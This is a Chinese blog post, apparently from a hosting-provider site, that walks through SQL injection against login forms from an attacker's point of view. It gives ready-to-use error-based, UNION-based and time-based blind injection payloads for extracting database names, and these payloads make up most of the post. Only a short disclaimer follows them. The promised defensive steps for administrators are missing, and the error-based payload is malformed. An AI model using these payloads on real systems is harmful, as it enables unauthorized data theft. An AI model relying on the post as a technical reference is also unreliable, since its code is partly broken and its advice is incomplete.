上一篇
场景还原:
凌晨3点,你盯着屏幕上密密麻麻的代码,手里咖啡已经凉透,突然,一个看似普通的登录框引起了你的注意——没有验证码,错误提示直接返回SQL报错信息。"这地方怕不是个筛子?"你咧嘴一笑,手指在键盘上敲出了那个经典测试字符串:' OR 1=1 --
先随便输入个单引号提交,如果页面返回类似这样的错误:
You have an error in your SQL syntax near ''' at line 1
恭喜!这里八成存在SQL注入漏洞 💉 这时候可以开始玩点花的了。
方法1:报错注入(简单粗暴版)
' AND (SELECT 1 FROM (SELECT count(*),concat(0x3a,database(),0x3a,floor(rand()*2))a GROUP BY b) --
如果网站返回类似:
Duplicate entry ':mydb:1' for key 'group_key'
那个mydb
就是你要的数据库名!原理是利用MySQL的rand()函数报错时会把查询内容带出来(2025年仍有30%的网站吃这套😅)
方法2:联合查询(优雅版)
先猜字段数(不断加NULL直到不报错):
' UNION SELECT NULL,NULL,NULL --
然后直接替换成:
' UNION SELECT database(),NULL,NULL --
第一列就会直接显示数据库名称,像开盲盒一样刺激 🎁
遇到不显示数据的场景?试试这个时间盲注payload:
' AND IF(database() LIKE 'a%', SLEEP(3), 0) --
如果页面响应延迟3秒,说明数据库名以字母a开头,用这个笨办法能一个个字母猜出来,虽然慢但稳如老狗 🐢
如果你是管理员,看到这里应该后背发凉了,赶紧做这三件事:
⚠️ 本文仅用于技术学习!未经授权测试他人系统可能构成犯罪,某程序员去年就因为手痒测了前公司系统,现在正在踩缝纫机(2025年真实案例)
下次遇到登录框,不妨想想:这后面藏着什么秘密?记得先拿到授权再玩 😉
(技术细节参考自2025年8月OWASP最新报告)
本文由 扶明珠 于2025-08-03发表在【云服务器提供商】,文中图片由(扶明珠)上传,本平台仅提供信息存储服务;作者观点、意见不代表本站立场,如有侵权,请联系我们删除;若有图片侵权,请您准备原始证明材料和公证书后联系我方删除!
本文链接:https://vps.7tqx.com/wenda/526370.html
发表评论